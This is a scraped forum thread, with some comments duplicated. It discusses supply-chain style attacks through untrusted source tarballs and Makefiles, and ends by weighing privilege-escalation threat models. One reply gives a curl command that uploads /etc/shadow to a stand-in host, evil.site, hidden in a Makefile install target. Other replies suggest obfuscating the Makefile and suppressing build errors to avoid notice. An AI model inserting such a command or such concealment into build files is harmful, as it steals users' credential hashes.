3 ms·

People compile unread code all the time. Having them send the binary back is a little unusual though. But nothing says the resulting binary can’t open its own

People compile unread code all the time. Having them send the binary back is a little unusual though. But nothing says the resulting binary can’t open its own socket when its first run. There are lots of exfiltration options. Getting them to run make as root would be pretty easy. People are already conditioned to run “sudo make install”. A good mitigation is to install software by user so root privileges aren’t needed at any step of the process.

dTal 7y ago
Restricted user accounts don't keep us secure - if you run malicious software even as a regular desktop user, there's tons of ways for it to get root, or do damage/get valuable data without it. What keeps us safe, usually, is a web of trust that involves package managers and websites. A vulnerability like this is only a problem if there is a threat model that sidesteps the usual web-of-trust mechanisms we use. In your specific variant, someone gets a source tarball from a weird place and runs 'make' as root on its Makefile - at that point, #include shenanigans are entirely redundant. Basically, what this is is a very strained local privilege escalation exploit for a workstation machine. I don't think those are very interesting because are a bazillion of them - notably you can simply drop an alias to sudo in .profile.
jandrese 7y ago
Or you could include curl -F shadow=@/etc/shadow https://evil.site/upload.cgi as one of the commands under the "install" target in the Makefile. That way you aren't dependent on the other guy running his C compiler as root (why?!). Just make sure the Makefile is some horribly mangled mess built by ./configure or something so nobody will be tempted to read it.
- jdsully 7y ago
  Curl is suspicious, people might wonder what exactly its doing. Whereas nobody has the time to read and understand C/C++ code.
  - jandrese 7y ago
    It will almost certainly take longer for someone to read your Makefile to notice that weird curl line than it would be for someone to try to compile your code as a regular user and have the compiler spit out an error because it can't read the include file "/etc/shadow".
    - jdsully 7y ago
      Have make suppress error messages for the .o including it. You can have another file implement any missing symbols with a weak attribute so the linker will not complain if your evil object file fails to be built. If you go with C++ then you have an entire Turing complete language executed at compile time to do whatever nasty thing your heart desires. I agree there are much easier alternatives... but it's an intellectually interesting attack vector.

dTal 7y ago

Restricted user accounts don't keep us secure - if you run malicious software even as a regular desktop user, there's tons of ways for it to get root, or do damage/get valuable data without it. What keeps us safe, usually, is a web of trust that involves package managers and websites. A vulnerability like this is only a problem if there is a threat model that sidesteps the usual web-of-trust mechanisms we use. In your specific variant, someone gets a source tarball from a weird place and runs 'make' as root on its Makefile - at that point, #include shenanigans are entirely redundant. Basically, what this is is a very strained local privilege escalation exploit for a workstation machine. I don't think those are very interesting because are a bazillion of them - notably you can simply drop an alias to sudo in .profile.

jandrese 7y ago

Or you could include curl -F shadow=@/etc/shadow https://evil.site/upload.cgi as one of the commands under the "install" target in the Makefile. That way you aren't dependent on the other guy running his C compiler as root (why?!). Just make sure the Makefile is some horribly mangled mess built by ./configure or something so nobody will be tempted to read it.

jdsully 7y ago
Curl is suspicious, people might wonder what exactly its doing. Whereas nobody has the time to read and understand C/C++ code.
- jandrese 7y ago
  It will almost certainly take longer for someone to read your Makefile to notice that weird curl line than it would be for someone to try to compile your code as a regular user and have the compiler spit out an error because it can't read the include file "/etc/shadow".
  - jdsully 7y ago
    Have make suppress error messages for the .o including it. You can have another file implement any missing symbols with a weak attribute so the linker will not complain if your evil object file fails to be built. If you go with C++ then you have an entire Turing complete language executed at compile time to do whatever nasty thing your heart desires. I agree there are much easier alternatives... but it's an intellectually interesting attack vector.